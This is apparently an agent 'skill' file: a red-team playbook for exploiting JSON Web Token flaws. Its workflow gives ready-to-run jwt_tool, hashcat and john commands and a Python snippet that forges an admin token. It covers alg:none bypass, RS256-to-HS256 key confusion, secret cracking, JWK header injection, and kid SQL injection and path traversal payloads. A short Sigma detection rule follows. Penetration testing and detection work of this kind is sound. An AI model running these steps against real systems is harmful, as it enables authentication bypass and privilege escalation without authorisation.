<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: exploiting-jwt-vulnerabilities
description: >-
  Discover and exploit JSON Web Token vulnerabilities. Covers algorithm
  confusion, none algorithm bypass, key confusion attacks, claim
  manipulation, and JWK/JWKS injection.
domain: cybersecurity
subdomain: red-team
tags:
  - jwt
  - authentication
  - web-application
  - token
  - cryptography
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1078", "T1550.001"]
  tools: ["jwt-tool", "jwt-cracker", "burp-suite"]
---

# Exploiting JWT Vulnerabilities

## Overview

JSON Web Tokens (JWT) are widely used for stateless authentication. Common
implementation flaws — algorithm confusion, weak secrets, missing validation —
allow attackers to forge tokens, escalate privileges, and bypass authentication.

## Prerequisites

- Target application using JWT authentication
- jwt_tool (`pip install jwt-tool`)
- Captured JWT from authentication flow

```bash
pip install pyjwt jwt-tool
```

## Key Concepts

### JWT Structure

| Part | Content |
|------|---------|
| Header | Algorithm, token type, key ID |
| Payload | Claims (sub, iss, exp, iat, roles) |
| Signature | HMAC or RSA signature |

### Common Vulnerabilities

| Vulnerability | CWE | Impact |
|---------------|-----|--------|
| alg:none | CWE-327 | Complete auth bypass |
| HMAC/RSA confusion | CWE-327 | Forge tokens with public key |
| Weak secret | CWE-521 | Crack and forge tokens |
| Missing exp validation | CWE-613 | Token reuse indefinitely |
| JWK injection | CWE-345 | Attacker-supplied signing key |
| kid injection | CWE-89/22 | SQLi or path traversal via kid |

## Workflow

### Step 1: Decode and Analyze JWT

```bash
# jwt_tool — decode
python3 jwt_tool.py TOKEN

# Manual decode
echo 'HEADER' | base64 -d
echo 'PAYLOAD' | base64 -d

# Check for weak claims
# - Missing exp (no expiration)
# - aud not validated
# - iss not validated
```

### Step 2: Test Algorithm None

```bash
# jwt_tool — none algorithm
python3 jwt_tool.py TOKEN -X a

# Manual: set alg to "none", remove signature
# Header: {"alg": "none", "typ": "JWT"}
# Token: HEADER.PAYLOAD.
```

### Step 3: HMAC/RSA Key Confusion

```bash
# If server uses RS256 but accepts HS256:
# Sign with public key as HMAC secret

# Fetch public key
openssl s_client -connect target.com:443 </dev/null 2>/dev/null | openssl x509 -pubkey -noout > pubkey.pem

# jwt_tool — key confusion
python3 jwt_tool.py TOKEN -X k -pk pubkey.pem

# Python manual
import jwt
with open("pubkey.pem") as f:
    pub = f.read()
forged = jwt.encode({"sub": "admin", "role": "admin"}, pub, algorithm="HS256")
```

### Step 4: Crack Weak Secret

```bash
# jwt_tool — dictionary attack
python3 jwt_tool.py TOKEN -C -d wordlist.txt

# hashcat — JWT cracking
hashcat -m 16500 TOKEN wordlist.txt --force

# john
john jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256
```

### Step 5: JWK Header Injection

```bash
# jwt_tool — inject JWK
python3 jwt_tool.py TOKEN -X i

# Manual: generate RSA key, embed public key in JWK header
# Header: {"alg": "RS256", "jwk": {"kty": "RSA", "n": "...", "e": "AQAB"}}
# Sign with corresponding private key
```

### Step 6: kid Parameter Injection

```bash
# SQL injection via kid
# Header: {"alg": "HS256", "kid": "1' UNION SELECT 'secret' -- "}
# Sign with 'secret' as HMAC key

# Path traversal via kid
# Header: {"alg": "HS256", "kid": "../../dev/null"}
# Sign with empty string as key

# jwt_tool — kid injection
python3 jwt_tool.py TOKEN -X p -pk /dev/null
```

### Step 7: Claim Tampering

```bash
# jwt_tool — tamper claims
python3 jwt_tool.py TOKEN -T
# Interactive: modify sub, role, admin, etc.

# Forge with known secret
python3 jwt_tool.py TOKEN -S hs256 -p 'weak_secret' -pc role -pv admin
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|-------------|
| alg:none | Application logs | Token with no algorithm |
| Algorithm switch | Application logs | RS256 → HS256 |
| Invalid signature | Application logs | Signature verification failures |
| Expired token reuse | Application logs | Tokens used past exp |

```yaml
title: JWT Algorithm Confusion Attack
id: 18293041-2536-4567-1234-567890123456
status: experimental
logsource:
  category: application
detection:
  selection:
    message|contains:
      - "algorithm.*none"
      - "alg.*HS256.*expected.*RS256"
      - "signature verification failed"
  condition: selection
falsepositives:
  - Misconfigured client libraries
level: high
tags:
  - attack.t1550.001
  - attack.credential_access
```

## Verification

- [ ] JWT structure analyzed
- [ ] Algorithm vulnerabilities tested
- [ ] Token forged with elevated privileges
- [ ] Authentication bypass confirmed
- [ ] Detection artifacts documented

## References

- [jwt_tool](https://github.com/ticarpi/jwt_tool)
- [JWT Attacks](https://portswigger.net/web-security/jwt)
- [MITRE T1550.001](https://attack.mitre.org/techniques/T1550/001/)
- [Auth0 JWT Handbook](https://auth0.com/resources/ebooks/jwt-handbook)
